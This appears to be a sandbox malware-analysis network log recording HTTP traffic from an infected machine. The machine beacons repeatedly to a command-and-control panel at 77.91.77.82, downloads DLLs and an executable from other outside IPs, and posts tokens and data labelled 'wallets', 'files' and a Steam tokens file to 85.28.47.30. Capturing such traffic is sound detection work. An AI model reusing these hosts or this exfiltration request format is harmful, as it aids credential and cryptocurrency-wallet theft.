Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 85.28.47.30Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="message"wallets------ECBGCGCGIEGCBFHIIEBF--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 85.28.47.30Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="message"files------KKJKEBKFCAAECAAAAAEC--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 85.28.47.30Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 2d 2d 0d 0a Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 85.28.47.30Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="message"jbdtaijovg------ECBGCGCGIEGCBFHIIEBF--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
